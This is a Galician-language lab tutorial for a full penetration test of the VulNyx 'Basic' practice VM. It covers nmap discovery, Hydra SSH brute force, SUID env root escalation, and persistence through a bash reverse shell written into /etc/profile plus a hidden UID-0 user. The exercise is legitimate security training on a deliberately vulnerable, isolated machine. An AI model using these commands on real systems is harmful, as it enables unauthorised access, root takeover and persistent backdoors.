Ir ao contido

Práctica Taller: Basic (VulNyx) – Pentest completo paso a paso

Recomendacións

  • Non actualizar os paquetes da máquina (podería romper vectores de ataque).
  • Traballar sempre nunha rede illada (host-only).
  • Úsaa como práctica inicial antes de abordar máquinas máis complexas.

Obxectivo

Realizar un test de intrusión completo (6 fases) sobre a máquina, desde enumeración ata explotación, persistencia e redacción do informe.


Pasos básicos

  1. Descargar a máquina(OVA) dende VulNyx: Basic
    Fig. Card Basic VM
  2. Comprobar o hash
    $ md5sum Basic.zip
    6d2eed28deeb0967d8fa454bfcd95ed5  Basic.zip
    
  3. Descomprimir e importar a OVA en VirtualBox. Asegurarse que na configuración de rede o Adaptador 1 esté en modo Só anfitrión (Host-only)

    Fig. Configuración en VirtualBox

  4. Iniciar a máquina.

  5. Configurar en VirtualBox unha máquina Kali Linux coa rede en modo Só anfitrión (Host‑only).
    Fig. Configuración en VirtualBox
  6. Arrancar a máquina Kali Linux:
    • Identificar a IP (netdiscover ou arp-scan ou nmap) e realizar escaneo con nmap.
    • Detectar vulnerabilidades en servizos como SSH, Apache ou CUPS.
    • Explorar un vector de ataque (CUPS).
    • Establecer persistencia e recoller información do sistema.
  7. Elaborar un informe final coas evidencias obtidas.

Fases dun test de intrusión (Pentest)

Fig. Fases Pentest


Fase 1: Recopilación de información

Prerrequisito

Realizar os Pasos básicos do 1 ao 5(inclusive).
Arrancar a máquina Kali Linux na primeira opción de arranque.

A. Dende a máquina Kali Linux detectar IP da máquina. Así, executar nunha consola:

setxkbmap es
sudo arp-scan --interface=eth0 192.168.56.0/24 || sudo netdiscover -r 192.168.56.0/24 || sudo nmap -sn -PR 192.168.56.0/24

IP atopada para esta máquina de vulnhub

No caso de execución deste procedemento a IP atopada foi: 192.168.56.74, pero no voso caso pode variar. Tédeo en conta para o seguimento desta práctica.

B. Comprobación de conectividade e detección do sistema operativo. Así, executar na anterior consola:

ping -c1 192.168.56.74 -R

TTL

  • TTL ≃ 64 ⇒ GNU/Linux
  • TTL ≃ 128 ⇒ Microsoft Windows
    Como podemos observar na saída do comando ping estamos ante unha máquina obxectivo GNU/Linux. E é certo, xa que sabemos que é unha Debian 64bits

C. Escaneo básico con Nmap:

nmap -sC -sV -oA basic-scan 192.168.56.74
...
22/tcp  open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
...
80/tcp  open  http    Apache httpd 2.4.56 ((Debian))
...
631/tcp open  ipp     CUPS 2.3
...

Fase 2: Análise de vulnerabilidades

Identificación de servizos vulnerábeis:

  • Servizos atopados: SSH, Apache e CUPS

Dende a máquina visitamos a páxina de CUPS:

firefox http://192.168.56.74 &

Atopamos na sección Printers unha impresora de nome dimitri_printer:
Fig. dimitri/s printer

Fase 3: Explotación

Hydra

  1. Hydra é unha ferramenta de forza bruta / craqueo de credenciais para protocolos como SSH, RDP, FTP, SMB, HTTP forms, etc.
  2. En Vulnyx informa que os contrasinais empregados para ataque de forza bruta non deben exceder as primeiras 5000 liñas do diccionario rockyou.txt

Dende a máquina Kali GNU/Linux empregamos hydra contra o protocolo SSH para intentar averiguar o contrasinal dun posible usuario dimitri:

hydra -l dimitri -w rockyou.txt 192.168.56.74 ssh -FIV

Atopamos o contrasinal de dimitri polo que imos acceder por SSH con ese contrasinal:

ssh dimitri@192.168.56.74

Obtemos unha shell do usuario dimitri no sistema. Xa podemos conseguir a flag de user:

whoami
id
pwd
ls -lahtr 
cat user.txt

Fig. Shell dimitri

Fase 4: Post-explotación

Escalada de privilexios: Imos realizar unha escalada de privilexios vertical, de user a root. Así, executamos o seguinte comando para atopar os ficheiros con permisos SUID no sistema:

find / -type f -perm -4000 2>/dev/null | xargs ls -l

Dos cales chama a atención o comando env. Visitando gtfobins atopamos a forma de facernos root no sistema:

/usr/bin/env /bin/bash -p

Xa podemos obter a flag de root:

whoami
id
pwd
cd /root
ls -althr 
cat root.txt

Fig. Shell root

Fase 5: Persistencia

Opción 1: Reverse shell

IP da máquina Kali Linux

No caso de execución deste procedemento a IP da máquina Kali Linux foi: 192.168.56.53, pero no voso caso pode variar. Tédeo en conta para o seguimento desta práctica.

$ ip -o -4 addr show eth0 | awk '{print $4}' | cut -d'/' -f1

Dentro da consola de root conseguida con env executar:

echo "bash -i >& /dev/tcp/192.168.56.53/4444 0>&1" >> /etc/profile

E noutra consola en Kali Linux executar:

nc -lvp 4444

Agora reiniciar a máquina de vulnyx e revisar que unha vez feito login o usuario dimitri a reverse shell actívase. Podemos executar o comando /sbin/init 6 na consola.
Fig. Persistencia nc profile

Unha vez reiniciada a máquina vulnhub ao iniciar sesión co usuario dimitri o arquivo /etc/profile cargarase e abrirase a reverse shell que temos á espera na Kali Linux:
Fig. Persistencia nc listen 4444


Opción 2 - Engadir usuario permanente e ademais facelo root

useradd -m pentester -o -u 0 -g 0
passwd pentester
sed -i 's|!||' /etc/shadow
su - pentester
whoami
script /dev/null -c bash
Fig. Novo usuario root


Fase 6: Informe final

Seguir o indicado en Informes de Pentesting para obter:

Exemplos nas seccións